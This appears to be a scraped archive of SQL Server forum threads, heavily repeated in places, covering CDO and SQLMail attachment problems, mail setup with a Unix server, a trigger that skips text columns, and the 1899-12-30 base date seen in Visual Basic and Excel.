Hi,
I am using the following stored procedure to send a mail with attachment. But the mail is sent without the attachment. Can anyone help me?
CREATE PROCEDURE DBO.sp_Send_Mail_test(
@.p_From as nvarchar(50),
@.p_To as nvarchar(50),
@.p_Subject as nvarchar(255),
@.p_Body as varchar(1000),
@.p_CC as text = null,
@.p_BCC as text = null,
@.p_Attachment varchar(500)=null
)
AS
Declare @.Message int
Declare @.hr int
Declare @.source varchar(255)
Declare @.description varchar(500)
EXEC @.hr = sp_OACreate 'CDO.Message', @.Message OUT
EXEC @.hr = sp_OASetProperty @.Message, 'From',@.p_From
EXEC @.hr = sp_OASetProperty @.Message, 'To', @.p_To
EXEC @.hr = sp_OASetProperty @.Message, 'Subject', @.p_Subject
EXEC @.hr = sp_OASetProperty @.Message, 'TextBody', @.p_Body
EXEC @.hr = sp_OAMethod @.Message, 'CDO.Message.Attachment.Update', Default, @.p_Attachment
If @.p_CC is not null
BEGIN
EXEC @.hr = sp_OASetProperty @.Message, 'CC',@.p_CC
END
If @.p_BCC is not null
BEGIN
EXEC @.hr = sp_OASetProperty @.Message, 'BCC',@.p_BCC
END
EXEC @.hr = sp_OAMethod @.Message, 'Send', NULL
EXEC @.hr = sp_OAGetErrorInfo NULL, @.source OUT, @.description out
EXEC @.hr = sp_OADestroy @.Message
IF @.hr <> 0
BEGIN
SELECT hr=convert(varbinary(4),@.hr), Source=@.source, Description=@.description
RETURN
END
Regards,
Bharathram GMy first guess would be that you didn't use a UNC for the file name.
I'm moving this post to the SQL Server Forum for you... I think that you'll get a lot better responses there than you will in a "pure SQL" forum.
-PatP
Saturday, February 25, 2012
mail attachment problem
I have an application that does an inventory comparason every night and
emails the descrepancies to the business owners every morning. I am in the
process of upgradeing from SQLServer 6.5 to 2000, and in my testing have
found a problem with the email attachment. The mail that is sent is
generated using SQLMail, with @.attach_results set to true and the @.separator
= ','. When the mail arrives from the 2000 server, and the attachment is
opened, Excel gives an error message that says "This file is not in a
recognizable format." If I detach the file, open it in Notepad, copy and
paste the contents into a new file, change the extention to csv, everything
works. This has been working in 6.5 for 3 years.
Any help will be appreciated.
PaulProbably due to file is in Unicode. Search KB for @.ansi_attachments, and you'll find an article that describes
it all.
--
Tibor Karaszi, SQL Server MVP
http://www.karaszi.com/sqlserver/default.asp
http://www.solidqualitylearning.com/
"Paul Godward" <Paul Godward@.discussions.microsoft.com> wrote in message
news:531A3234-AD22-4BD8-ABFC-98944473D3FB@.microsoft.com...
> I have an application that does an inventory comparason every night and
> emails the descrepancies to the business owners every morning. I am in the
> process of upgradeing from SQLServer 6.5 to 2000, and in my testing have
> found a problem with the email attachment. The mail that is sent is
> generated using SQLMail, with @.attach_results set to true and the @.separator
> = ','. When the mail arrives from the 2000 server, and the attachment is
> opened, Excel gives an error message that says "This file is not in a
> recognizable format." If I detach the file, open it in Notepad, copy and
> paste the contents into a new file, change the extention to csv, everything
> works. This has been working in 6.5 for 3 years.
> Any help will be appreciated.
> Paul|||Tibor,
Thanks. That took care of it. I can't believe that I missed that in the KB.
Paul
"Tibor Karaszi" wrote:
> Probably due to file is in Unicode. Search KB for @.ansi_attachments, and you'll find an article that describes
> it all.
> --
> Tibor Karaszi, SQL Server MVP
> http://www.karaszi.com/sqlserver/default.asp
> http://www.solidqualitylearning.com/
>
> "Paul Godward" <Paul Godward@.discussions.microsoft.com> wrote in message
> news:531A3234-AD22-4BD8-ABFC-98944473D3FB@.microsoft.com...
> > I have an application that does an inventory comparason every night and
> > emails the descrepancies to the business owners every morning. I am in the
> > process of upgradeing from SQLServer 6.5 to 2000, and in my testing have
> > found a problem with the email attachment. The mail that is sent is
> > generated using SQLMail, with @.attach_results set to true and the @.separator
> > = ','. When the mail arrives from the 2000 server, and the attachment is
> > opened, Excel gives an error message that says "This file is not in a
> > recognizable format." If I detach the file, open it in Notepad, copy and
> > paste the contents into a new file, change the extention to csv, everything
> > works. This has been working in 6.5 for 3 years.
> >
> > Any help will be appreciated.
> >
> > Paul
>
>
emails the descrepancies to the business owners every morning. I am in the
process of upgradeing from SQLServer 6.5 to 2000, and in my testing have
found a problem with the email attachment. The mail that is sent is
generated using SQLMail, with @.attach_results set to true and the @.separator
= ','. When the mail arrives from the 2000 server, and the attachment is
opened, Excel gives an error message that says "This file is not in a
recognizable format." If I detach the file, open it in Notepad, copy and
paste the contents into a new file, change the extention to csv, everything
works. This has been working in 6.5 for 3 years.
Any help will be appreciated.
PaulProbably due to file is in Unicode. Search KB for @.ansi_attachments, and you'll find an article that describes
it all.
--
Tibor Karaszi, SQL Server MVP
http://www.karaszi.com/sqlserver/default.asp
http://www.solidqualitylearning.com/
"Paul Godward" <Paul Godward@.discussions.microsoft.com> wrote in message
news:531A3234-AD22-4BD8-ABFC-98944473D3FB@.microsoft.com...
> I have an application that does an inventory comparason every night and
> emails the descrepancies to the business owners every morning. I am in the
> process of upgradeing from SQLServer 6.5 to 2000, and in my testing have
> found a problem with the email attachment. The mail that is sent is
> generated using SQLMail, with @.attach_results set to true and the @.separator
> = ','. When the mail arrives from the 2000 server, and the attachment is
> opened, Excel gives an error message that says "This file is not in a
> recognizable format." If I detach the file, open it in Notepad, copy and
> paste the contents into a new file, change the extention to csv, everything
> works. This has been working in 6.5 for 3 years.
> Any help will be appreciated.
> Paul|||Tibor,
Thanks. That took care of it. I can't believe that I missed that in the KB.
Paul
"Tibor Karaszi" wrote:
> Probably due to file is in Unicode. Search KB for @.ansi_attachments, and you'll find an article that describes
> it all.
> --
> Tibor Karaszi, SQL Server MVP
> http://www.karaszi.com/sqlserver/default.asp
> http://www.solidqualitylearning.com/
>
> "Paul Godward" <Paul Godward@.discussions.microsoft.com> wrote in message
> news:531A3234-AD22-4BD8-ABFC-98944473D3FB@.microsoft.com...
> > I have an application that does an inventory comparason every night and
> > emails the descrepancies to the business owners every morning. I am in the
> > process of upgradeing from SQLServer 6.5 to 2000, and in my testing have
> > found a problem with the email attachment. The mail that is sent is
> > generated using SQLMail, with @.attach_results set to true and the @.separator
> > = ','. When the mail arrives from the 2000 server, and the attachment is
> > opened, Excel gives an error message that says "This file is not in a
> > recognizable format." If I detach the file, open it in Notepad, copy and
> > paste the contents into a new file, change the extention to csv, everything
> > works. This has been working in 6.5 for 3 years.
> >
> > Any help will be appreciated.
> >
> > Paul
>
>
mail attachment problem
I have an application that does an inventory comparason every night and
emails the descrepancies to the business owners every morning. I am in the
process of upgradeing from SQLServer 6.5 to 2000, and in my testing have
found a problem with the email attachment. The mail that is sent is
generated using SQLMail, with @.attach_results set to true and the @.separator
= ','. When the mail arrives from the 2000 server, and the attachment is
opened, Excel gives an error message that says "This file is not in a
recognizable format." If I detach the file, open it in Notepad, copy and
paste the contents into a new file, change the extention to csv, everything
works. This has been working in 6.5 for 3 years.
Any help will be appreciated.
Paul
Probably due to file is in Unicode. Search KB for @.ansi_attachments, and you'll find an article that describes
it all.
Tibor Karaszi, SQL Server MVP
http://www.karaszi.com/sqlserver/default.asp
http://www.solidqualitylearning.com/
"Paul Godward" <Paul Godward@.discussions.microsoft.com> wrote in message
news:531A3234-AD22-4BD8-ABFC-98944473D3FB@.microsoft.com...
> I have an application that does an inventory comparason every night and
> emails the descrepancies to the business owners every morning. I am in the
> process of upgradeing from SQLServer 6.5 to 2000, and in my testing have
> found a problem with the email attachment. The mail that is sent is
> generated using SQLMail, with @.attach_results set to true and the @.separator
> = ','. When the mail arrives from the 2000 server, and the attachment is
> opened, Excel gives an error message that says "This file is not in a
> recognizable format." If I detach the file, open it in Notepad, copy and
> paste the contents into a new file, change the extention to csv, everything
> works. This has been working in 6.5 for 3 years.
> Any help will be appreciated.
> Paul
|||Tibor,
Thanks. That took care of it. I can't believe that I missed that in the KB.
Paul
"Tibor Karaszi" wrote:
> Probably due to file is in Unicode. Search KB for @.ansi_attachments, and you'll find an article that describes
> it all.
> --
> Tibor Karaszi, SQL Server MVP
> http://www.karaszi.com/sqlserver/default.asp
> http://www.solidqualitylearning.com/
>
> "Paul Godward" <Paul Godward@.discussions.microsoft.com> wrote in message
> news:531A3234-AD22-4BD8-ABFC-98944473D3FB@.microsoft.com...
>
>
emails the descrepancies to the business owners every morning. I am in the
process of upgradeing from SQLServer 6.5 to 2000, and in my testing have
found a problem with the email attachment. The mail that is sent is
generated using SQLMail, with @.attach_results set to true and the @.separator
= ','. When the mail arrives from the 2000 server, and the attachment is
opened, Excel gives an error message that says "This file is not in a
recognizable format." If I detach the file, open it in Notepad, copy and
paste the contents into a new file, change the extention to csv, everything
works. This has been working in 6.5 for 3 years.
Any help will be appreciated.
Paul
Probably due to file is in Unicode. Search KB for @.ansi_attachments, and you'll find an article that describes
it all.
Tibor Karaszi, SQL Server MVP
http://www.karaszi.com/sqlserver/default.asp
http://www.solidqualitylearning.com/
"Paul Godward" <Paul Godward@.discussions.microsoft.com> wrote in message
news:531A3234-AD22-4BD8-ABFC-98944473D3FB@.microsoft.com...
> I have an application that does an inventory comparason every night and
> emails the descrepancies to the business owners every morning. I am in the
> process of upgradeing from SQLServer 6.5 to 2000, and in my testing have
> found a problem with the email attachment. The mail that is sent is
> generated using SQLMail, with @.attach_results set to true and the @.separator
> = ','. When the mail arrives from the 2000 server, and the attachment is
> opened, Excel gives an error message that says "This file is not in a
> recognizable format." If I detach the file, open it in Notepad, copy and
> paste the contents into a new file, change the extention to csv, everything
> works. This has been working in 6.5 for 3 years.
> Any help will be appreciated.
> Paul
|||Tibor,
Thanks. That took care of it. I can't believe that I missed that in the KB.
Paul
"Tibor Karaszi" wrote:
> Probably due to file is in Unicode. Search KB for @.ansi_attachments, and you'll find an article that describes
> it all.
> --
> Tibor Karaszi, SQL Server MVP
> http://www.karaszi.com/sqlserver/default.asp
> http://www.solidqualitylearning.com/
>
> "Paul Godward" <Paul Godward@.discussions.microsoft.com> wrote in message
> news:531A3234-AD22-4BD8-ABFC-98944473D3FB@.microsoft.com...
>
>
mail attachment problem
I have an application that does an inventory comparason every night and
emails the descrepancies to the business owners every morning. I am in the
process of upgradeing from SQLServer 6.5 to 2000, and in my testing have
found a problem with the email attachment. The mail that is sent is
generated using SQLMail, with @.attach_results set to true and the @.separator
= ','. When the mail arrives from the 2000 server, and the attachment is
opened, Excel gives an error message that says "This file is not in a
recognizable format." If I detach the file, open it in Notepad, copy and
paste the contents into a new file, change the extention to csv, everything
works. This has been working in 6.5 for 3 years.
Any help will be appreciated.
PaulProbably due to file is in Unicode. Search KB for @.ansi_attachments, and you
'll find an article that describes
it all.
Tibor Karaszi, SQL Server MVP
http://www.karaszi.com/sqlserver/default.asp
http://www.solidqualitylearning.com/
"Paul Godward" <Paul Godward@.discussions.microsoft.com> wrote in message
news:531A3234-AD22-4BD8-ABFC-98944473D3FB@.microsoft.com...
> I have an application that does an inventory comparason every night and
> emails the descrepancies to the business owners every morning. I am in th
e
> process of upgradeing from SQLServer 6.5 to 2000, and in my testing have
> found a problem with the email attachment. The mail that is sent is
> generated using SQLMail, with @.attach_results set to true and the @.separat
or
> = ','. When the mail arrives from the 2000 server, and the attachment is
> opened, Excel gives an error message that says "This file is not in a
> recognizable format." If I detach the file, open it in Notepad, copy and
> paste the contents into a new file, change the extention to csv, everythin
g
> works. This has been working in 6.5 for 3 years.
> Any help will be appreciated.
> Paul|||Tibor,
Thanks. That took care of it. I can't believe that I missed that in the KB
.
Paul
"Tibor Karaszi" wrote:
> Probably due to file is in Unicode. Search KB for @.ansi_attachments, and y
ou'll find an article that describes
> it all.
> --
> Tibor Karaszi, SQL Server MVP
> http://www.karaszi.com/sqlserver/default.asp
> http://www.solidqualitylearning.com/
>
> "Paul Godward" <Paul Godward@.discussions.microsoft.com> wrote in message
> news:531A3234-AD22-4BD8-ABFC-98944473D3FB@.microsoft.com...
>
>
emails the descrepancies to the business owners every morning. I am in the
process of upgradeing from SQLServer 6.5 to 2000, and in my testing have
found a problem with the email attachment. The mail that is sent is
generated using SQLMail, with @.attach_results set to true and the @.separator
= ','. When the mail arrives from the 2000 server, and the attachment is
opened, Excel gives an error message that says "This file is not in a
recognizable format." If I detach the file, open it in Notepad, copy and
paste the contents into a new file, change the extention to csv, everything
works. This has been working in 6.5 for 3 years.
Any help will be appreciated.
PaulProbably due to file is in Unicode. Search KB for @.ansi_attachments, and you
'll find an article that describes
it all.
Tibor Karaszi, SQL Server MVP
http://www.karaszi.com/sqlserver/default.asp
http://www.solidqualitylearning.com/
"Paul Godward" <Paul Godward@.discussions.microsoft.com> wrote in message
news:531A3234-AD22-4BD8-ABFC-98944473D3FB@.microsoft.com...
> I have an application that does an inventory comparason every night and
> emails the descrepancies to the business owners every morning. I am in th
e
> process of upgradeing from SQLServer 6.5 to 2000, and in my testing have
> found a problem with the email attachment. The mail that is sent is
> generated using SQLMail, with @.attach_results set to true and the @.separat
or
> = ','. When the mail arrives from the 2000 server, and the attachment is
> opened, Excel gives an error message that says "This file is not in a
> recognizable format." If I detach the file, open it in Notepad, copy and
> paste the contents into a new file, change the extention to csv, everythin
g
> works. This has been working in 6.5 for 3 years.
> Any help will be appreciated.
> Paul|||Tibor,
Thanks. That took care of it. I can't believe that I missed that in the KB
.
Paul
"Tibor Karaszi" wrote:
> Probably due to file is in Unicode. Search KB for @.ansi_attachments, and y
ou'll find an article that describes
> it all.
> --
> Tibor Karaszi, SQL Server MVP
> http://www.karaszi.com/sqlserver/default.asp
> http://www.solidqualitylearning.com/
>
> "Paul Godward" <Paul Godward@.discussions.microsoft.com> wrote in message
> news:531A3234-AD22-4BD8-ABFC-98944473D3FB@.microsoft.com...
>
>
Greetings !
I want to receive mail notification from backup job on SQL Server outside of
my company.
Everything works when I have Exchange Server.
But I have Unix Mail Server in that company.
How should I configure mail client on my Server ?
What to use, Microsoft Outlook for a client, and how must I configure it ?
Platfom Sql Server 2000 on Windows 2000 Server.
Thanks in advance
Gj.If outlook is a permissable client then you can install it. Just configure the ID that SQL is running under has an email account. Make it the default mail account.
Log into the server as the SQL I
After you have mail configured and can send email from the ID the
Configure your SQL MAil settings
Then reboot
After the reboot test it with an xp_sendmail script
Then you can configure your operators
Jeff Dunca
MCDBA, MCSE+I|||If you can "talk" to an SMPT server on your network this might be a good =solution:
SQL Server SMTP Mail XP
http://sqldev.net/xp/xpsmtp.htm
-- Keith
"Duke" <duke@.hotmail.com> wrote in message =news:c5ousk$33k$1@.sunce.iskon.hr...
> Greetings !
> > I want to receive mail notification from backup job on SQL Server =outside of
> my company.
> Everything works when I have Exchange Server.
> > But I have Unix Mail Server in that company.
> How should I configure mail client on my Server ?
> What to use, Microsoft Outlook for a client, and how must I configure =it ?
> > Platfom Sql Server 2000 on Windows 2000 Server.
> > Thanks in advance
> > Gj.
> >|||Thanks.
I shall try that.
Regards Gjuro.
"Keith Kratochvil" <sqlguy.back2u@.comcast.net> wrote in message
news:ej5UG68IEHA.2664@.tk2msftngp13.phx.gbl...
If you can "talk" to an SMPT server on your network this might be a good
solution:
SQL Server SMTP Mail XP
http://sqldev.net/xp/xpsmtp.htm
--
Keith
"Duke" <duke@.hotmail.com> wrote in message
news:c5ousk$33k$1@.sunce.iskon.hr...
> Greetings !
> I want to receive mail notification from backup job on SQL Server outside
of
> my company.
> Everything works when I have Exchange Server.
> But I have Unix Mail Server in that company.
> How should I configure mail client on my Server ?
> What to use, Microsoft Outlook for a client, and how must I configure it ?
> Platfom Sql Server 2000 on Windows 2000 Server.
> Thanks in advance
> Gj.
>
I want to receive mail notification from backup job on SQL Server outside of
my company.
Everything works when I have Exchange Server.
But I have Unix Mail Server in that company.
How should I configure mail client on my Server ?
What to use, Microsoft Outlook for a client, and how must I configure it ?
Platfom Sql Server 2000 on Windows 2000 Server.
Thanks in advance
Gj.If outlook is a permissable client then you can install it. Just configure the ID that SQL is running under has an email account. Make it the default mail account.
Log into the server as the SQL I
After you have mail configured and can send email from the ID the
Configure your SQL MAil settings
Then reboot
After the reboot test it with an xp_sendmail script
Then you can configure your operators
Jeff Dunca
MCDBA, MCSE+I|||If you can "talk" to an SMPT server on your network this might be a good =solution:
SQL Server SMTP Mail XP
http://sqldev.net/xp/xpsmtp.htm
-- Keith
"Duke" <duke@.hotmail.com> wrote in message =news:c5ousk$33k$1@.sunce.iskon.hr...
> Greetings !
> > I want to receive mail notification from backup job on SQL Server =outside of
> my company.
> Everything works when I have Exchange Server.
> > But I have Unix Mail Server in that company.
> How should I configure mail client on my Server ?
> What to use, Microsoft Outlook for a client, and how must I configure =it ?
> > Platfom Sql Server 2000 on Windows 2000 Server.
> > Thanks in advance
> > Gj.
> >|||Thanks.
I shall try that.
Regards Gjuro.
"Keith Kratochvil" <sqlguy.back2u@.comcast.net> wrote in message
news:ej5UG68IEHA.2664@.tk2msftngp13.phx.gbl...
If you can "talk" to an SMPT server on your network this might be a good
solution:
SQL Server SMTP Mail XP
http://sqldev.net/xp/xpsmtp.htm
--
Keith
"Duke" <duke@.hotmail.com> wrote in message
news:c5ousk$33k$1@.sunce.iskon.hr...
> Greetings !
> I want to receive mail notification from backup job on SQL Server outside
of
> my company.
> Everything works when I have Exchange Server.
> But I have Unix Mail Server in that company.
> How should I configure mail client on my Server ?
> What to use, Microsoft Outlook for a client, and how must I configure it ?
> Platfom Sql Server 2000 on Windows 2000 Server.
> Thanks in advance
> Gj.
>
How can I implement mail sending facility in Sql Server 2000(in DTS)?Hey - You need to enable a MAPI Profile in SQL Mail (In Enterprise Mgr - Support Servcies/SQL Mail).
Once that's done, the Send Mail Task will work.
Once that's done, the Send Mail Task will work.
Greetings !
I want to receive mail notification from backup job on SQL Server outside of
my company.
Everything works when I have Exchange Server.
But I have Unix Mail Server in that company.
How should I configure mail client on my Server ?
What to use, Microsoft Outlook for a client, and how must I configure it ?
Platfom Sql Server 2000 on Windows 2000 Server.
Thanks in advance
Gj.
If outlook is a permissable client then you can install it. Just configure the ID that SQL is running under has an email account. Make it the default mail account.
Log into the server as the SQL ID
After you have mail configured and can send email from the ID then
Configure your SQL MAil settings.
Then reboot.
After the reboot test it with an xp_sendmail script.
Then you can configure your operators.
Jeff Duncan
MCDBA, MCSE+I
|||If you can "talk" to an SMPT server on your network this might be a good =
solution:
SQL Server SMTP Mail XP
http://sqldev.net/xp/xpsmtp.htm
--=20
Keith
"Duke" <duke@.hotmail.com> wrote in message =
news:c5ousk$33k$1@.sunce.iskon.hr...
> Greetings !
>=20
> I want to receive mail notification from backup job on SQL Server =
outside of
> my company.
> Everything works when I have Exchange Server.
>=20
> But I have Unix Mail Server in that company.
> How should I configure mail client on my Server ?
> What to use, Microsoft Outlook for a client, and how must I configure =
it ?
>=20
> Platfom Sql Server 2000 on Windows 2000 Server.
>=20
> Thanks in advance
>=20
> Gj.
>=20
>
|||Thanks.
I shall try that.
Regards Gjuro.
"Keith Kratochvil" <sqlguy.back2u@.comcast.net> wrote in message
news:ej5UG68IEHA.2664@.tk2msftngp13.phx.gbl...
If you can "talk" to an SMPT server on your network this might be a good
solution:
SQL Server SMTP Mail XP
http://sqldev.net/xp/xpsmtp.htm
Keith
"Duke" <duke@.hotmail.com> wrote in message
news:c5ousk$33k$1@.sunce.iskon.hr...
> Greetings !
> I want to receive mail notification from backup job on SQL Server outside
of
> my company.
> Everything works when I have Exchange Server.
> But I have Unix Mail Server in that company.
> How should I configure mail client on my Server ?
> What to use, Microsoft Outlook for a client, and how must I configure it ?
> Platfom Sql Server 2000 on Windows 2000 Server.
> Thanks in advance
> Gj.
>
I want to receive mail notification from backup job on SQL Server outside of
my company.
Everything works when I have Exchange Server.
But I have Unix Mail Server in that company.
How should I configure mail client on my Server ?
What to use, Microsoft Outlook for a client, and how must I configure it ?
Platfom Sql Server 2000 on Windows 2000 Server.
Thanks in advance
Gj.
If outlook is a permissable client then you can install it. Just configure the ID that SQL is running under has an email account. Make it the default mail account.
Log into the server as the SQL ID
After you have mail configured and can send email from the ID then
Configure your SQL MAil settings.
Then reboot.
After the reboot test it with an xp_sendmail script.
Then you can configure your operators.
Jeff Duncan
MCDBA, MCSE+I
|||If you can "talk" to an SMPT server on your network this might be a good =
solution:
SQL Server SMTP Mail XP
http://sqldev.net/xp/xpsmtp.htm
--=20
Keith
"Duke" <duke@.hotmail.com> wrote in message =
news:c5ousk$33k$1@.sunce.iskon.hr...
> Greetings !
>=20
> I want to receive mail notification from backup job on SQL Server =
outside of
> my company.
> Everything works when I have Exchange Server.
>=20
> But I have Unix Mail Server in that company.
> How should I configure mail client on my Server ?
> What to use, Microsoft Outlook for a client, and how must I configure =
it ?
>=20
> Platfom Sql Server 2000 on Windows 2000 Server.
>=20
> Thanks in advance
>=20
> Gj.
>=20
>
|||Thanks.
I shall try that.
Regards Gjuro.
"Keith Kratochvil" <sqlguy.back2u@.comcast.net> wrote in message
news:ej5UG68IEHA.2664@.tk2msftngp13.phx.gbl...
If you can "talk" to an SMPT server on your network this might be a good
solution:
SQL Server SMTP Mail XP
http://sqldev.net/xp/xpsmtp.htm
Keith
"Duke" <duke@.hotmail.com> wrote in message
news:c5ousk$33k$1@.sunce.iskon.hr...
> Greetings !
> I want to receive mail notification from backup job on SQL Server outside
of
> my company.
> Everything works when I have Exchange Server.
> But I have Unix Mail Server in that company.
> How should I configure mail client on my Server ?
> What to use, Microsoft Outlook for a client, and how must I configure it ?
> Platfom Sql Server 2000 on Windows 2000 Server.
> Thanks in advance
> Gj.
>
Ok, folks, a question for you. I wanna send email through MSSQL Server 2000
using SMTP protocol.HOW?Check out
using SMTP protocol.HOW?Check out
http://www.sqldev.net/xp/xpsmtp.htm
John
"Licemjer" <licemjer@.licemjer.hr> wrote in message
news:bqq62m$op5$1@.ls219.htnet.hr...
> Ok, folks, a question for you. I wanna send email through MSSQL Server
2000
> using SMTP protocol.HOW?
Greetings !
I want to receive mail notification from backup job on SQL Server outside of
my company.
Everything works when I have Exchange Server.
But I have Unix Mail Server in that company.
How should I configure mail client on my Server ?
What to use, Microsoft Outlook for a client, and how must I configure it ?
Platfom Sql Server 2000 on Windows 2000 Server.
Thanks in advance
Gj.If outlook is a permissable client then you can install it. Just configure
the ID that SQL is running under has an email account. Make it the default
mail account.
Log into the server as the SQL ID
After you have mail configured and can send email from the ID then
Configure your SQL MAil settings.
Then reboot.
After the reboot test it with an xp_sendmail script.
Then you can configure your operators.
Jeff Duncan
MCDBA, MCSE+I|||If you can "talk" to an SMPT server on your network this might be a good =
solution:
SQL Server SMTP Mail XP
http://sqldev.net/xp/xpsmtp.htm
--=20
Keith
"Duke" <duke@.hotmail.com> wrote in message =
news:c5ousk$33k$1@.sunce.iskon.hr...
> Greetings !
>=20
> I want to receive mail notification from backup job on SQL Server =
outside of
> my company.
> Everything works when I have Exchange Server.
>=20
> But I have Unix Mail Server in that company.
> How should I configure mail client on my Server ?
> What to use, Microsoft Outlook for a client, and how must I configure =
it ?
>=20
> Platfom Sql Server 2000 on Windows 2000 Server.
>=20
> Thanks in advance
>=20
> Gj.
>=20
>|||Thanks.
I shall try that.
Regards Gjuro.
"Keith Kratochvil" <sqlguy.back2u@.comcast.net> wrote in message
news:ej5UG68IEHA.2664@.tk2msftngp13.phx.gbl...
If you can "talk" to an SMPT server on your network this might be a good
solution:
SQL Server SMTP Mail XP
http://sqldev.net/xp/xpsmtp.htm
Keith
"Duke" <duke@.hotmail.com> wrote in message
news:c5ousk$33k$1@.sunce.iskon.hr...
> Greetings !
> I want to receive mail notification from backup job on SQL Server outside
of
> my company.
> Everything works when I have Exchange Server.
> But I have Unix Mail Server in that company.
> How should I configure mail client on my Server ?
> What to use, Microsoft Outlook for a client, and how must I configure it ?
> Platfom Sql Server 2000 on Windows 2000 Server.
> Thanks in advance
> Gj.
>
I want to receive mail notification from backup job on SQL Server outside of
my company.
Everything works when I have Exchange Server.
But I have Unix Mail Server in that company.
How should I configure mail client on my Server ?
What to use, Microsoft Outlook for a client, and how must I configure it ?
Platfom Sql Server 2000 on Windows 2000 Server.
Thanks in advance
Gj.If outlook is a permissable client then you can install it. Just configure
the ID that SQL is running under has an email account. Make it the default
mail account.
Log into the server as the SQL ID
After you have mail configured and can send email from the ID then
Configure your SQL MAil settings.
Then reboot.
After the reboot test it with an xp_sendmail script.
Then you can configure your operators.
Jeff Duncan
MCDBA, MCSE+I|||If you can "talk" to an SMPT server on your network this might be a good =
solution:
SQL Server SMTP Mail XP
http://sqldev.net/xp/xpsmtp.htm
--=20
Keith
"Duke" <duke@.hotmail.com> wrote in message =
news:c5ousk$33k$1@.sunce.iskon.hr...
> Greetings !
>=20
> I want to receive mail notification from backup job on SQL Server =
outside of
> my company.
> Everything works when I have Exchange Server.
>=20
> But I have Unix Mail Server in that company.
> How should I configure mail client on my Server ?
> What to use, Microsoft Outlook for a client, and how must I configure =
it ?
>=20
> Platfom Sql Server 2000 on Windows 2000 Server.
>=20
> Thanks in advance
>=20
> Gj.
>=20
>|||Thanks.
I shall try that.
Regards Gjuro.
"Keith Kratochvil" <sqlguy.back2u@.comcast.net> wrote in message
news:ej5UG68IEHA.2664@.tk2msftngp13.phx.gbl...
If you can "talk" to an SMPT server on your network this might be a good
solution:
SQL Server SMTP Mail XP
http://sqldev.net/xp/xpsmtp.htm
Keith
"Duke" <duke@.hotmail.com> wrote in message
news:c5ousk$33k$1@.sunce.iskon.hr...
> Greetings !
> I want to receive mail notification from backup job on SQL Server outside
of
> my company.
> Everything works when I have Exchange Server.
> But I have Unix Mail Server in that company.
> How should I configure mail client on my Server ?
> What to use, Microsoft Outlook for a client, and how must I configure it ?
> Platfom Sql Server 2000 on Windows 2000 Server.
> Thanks in advance
> Gj.
>
Magic Tables with Text Columns
Hi folks,
I need to execute some kind of
select a,b,c into #inserted from inserted
a = int
b = varchar(50)
c = text
Easy so far. But I what I need is to find out whether the audited table contains text(or nText / image) columns or not. If it contains any text columns the statement should automatically be changed to
select a,b into #inserted from inserted
Remember that the trigger must be usable for any table in the database without manually entering the tables structure or the column names.
Best would be fetching the structure fropm the system views (INFORMATIONSCHEMES)
Any suggestions ?
Thanks a lot!
StefanTRIGGERS are built for a table, and as such are a "property" of that table.
The only way would be to build dynamic sql with each trigger for each table.
Meaning you would still have to build a trigger per table anyway.
So why not just build them the way they need to be per table?
And what's with the temp table?
I need to execute some kind of
select a,b,c into #inserted from inserted
a = int
b = varchar(50)
c = text
Easy so far. But I what I need is to find out whether the audited table contains text(or nText / image) columns or not. If it contains any text columns the statement should automatically be changed to
select a,b into #inserted from inserted
Remember that the trigger must be usable for any table in the database without manually entering the tables structure or the column names.
Best would be fetching the structure fropm the system views (INFORMATIONSCHEMES)
Any suggestions ?
Thanks a lot!
StefanTRIGGERS are built for a table, and as such are a "property" of that table.
The only way would be to build dynamic sql with each trigger for each table.
Meaning you would still have to build a trigger per table anyway.
So why not just build them the way they need to be per table?
And what's with the temp table?
Magic Date?
Anyone know why 1899-12-30 is a special date?
If you put that date with a time in sql server EM and a vb call will return only the time portion...
More background and sample code
http://www.sqlteam.com/forums/topic.asp?TOPIC_ID=30709In vb, the date is a floating-point where the integer portion is the date. 12/30/1899 is the base date. So if you enter a time only, the integer portion of the datetime will be 0 and the decimal portion will be the time.|||What's EM Built in? If you just enter a time through EM, it'll ne 1899-12-30...
And isn't 1900-01-01 the 0 date for sql server?
SELECT CONVERT(datetime,0,101)
???
And why, if you call sql server from vb through ado, does it pass back just the time component...with no conversion function?|||I wonder if there is a magic time, that just returns the date...
Why the original developer didn't use CONVERT is betond me...|||Do a query against that datetime column that only has a time and add 1 to it - your question will be answered.|||SELECT CONVERT(datetime,-2,101)
gives '1899-12-30 00:00:00.000'|||Originally posted by rnealejr
Do a query against that datetime column that only has a time and add 1 to it - your question will be answered.
What does that mean?
Datetime is stored as a number...4 before the decimal, 4 after...
What do you mean time only?|||So what does this prove?
SELECT DATEADD(d,1,CONVERT(datetime,0.1))
Add 1 what?
What do you mean with no date? There's always a date component?
0 is the default
(Unless of course you add through EM then it's -2)
huh?
And why, if you make a sql call from vb, and the date is 1899-12-30, it only returns the time..VERY bizzare|||Just had the developer do it from an Excel workbook too.
It puts just the time in the Cell with that 1899-12-03 date
It doesn't return the date...bizzaro
Anyone else seen this?|||http://www.sqlteam.com/forums/topic.asp?TOPIC_ID=27101
Hey Brett ... some more with excel problems ...
I believe the reason is that while SQL takes the default date to be 1900-01-01
and other MS applications use 1899-12-30
Here is a link
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnvbadev/html/whatisdatehowdiditgetthere.asp|||Thanks...forgot all about that thread...
Still doesn't explain you only get the decimal portion of the datetime field though (that's the time component)
If you put that date with a time in sql server EM and a vb call will return only the time portion...
More background and sample code
http://www.sqlteam.com/forums/topic.asp?TOPIC_ID=30709In vb, the date is a floating-point where the integer portion is the date. 12/30/1899 is the base date. So if you enter a time only, the integer portion of the datetime will be 0 and the decimal portion will be the time.|||What's EM Built in? If you just enter a time through EM, it'll ne 1899-12-30...
And isn't 1900-01-01 the 0 date for sql server?
SELECT CONVERT(datetime,0,101)
???
And why, if you call sql server from vb through ado, does it pass back just the time component...with no conversion function?|||I wonder if there is a magic time, that just returns the date...
Why the original developer didn't use CONVERT is betond me...|||Do a query against that datetime column that only has a time and add 1 to it - your question will be answered.|||SELECT CONVERT(datetime,-2,101)
gives '1899-12-30 00:00:00.000'|||Originally posted by rnealejr
Do a query against that datetime column that only has a time and add 1 to it - your question will be answered.
What does that mean?
Datetime is stored as a number...4 before the decimal, 4 after...
What do you mean time only?|||So what does this prove?
SELECT DATEADD(d,1,CONVERT(datetime,0.1))
Add 1 what?
What do you mean with no date? There's always a date component?
0 is the default
(Unless of course you add through EM then it's -2)
huh?
And why, if you make a sql call from vb, and the date is 1899-12-30, it only returns the time..VERY bizzare|||Just had the developer do it from an Excel workbook too.
It puts just the time in the Cell with that 1899-12-03 date
It doesn't return the date...bizzaro
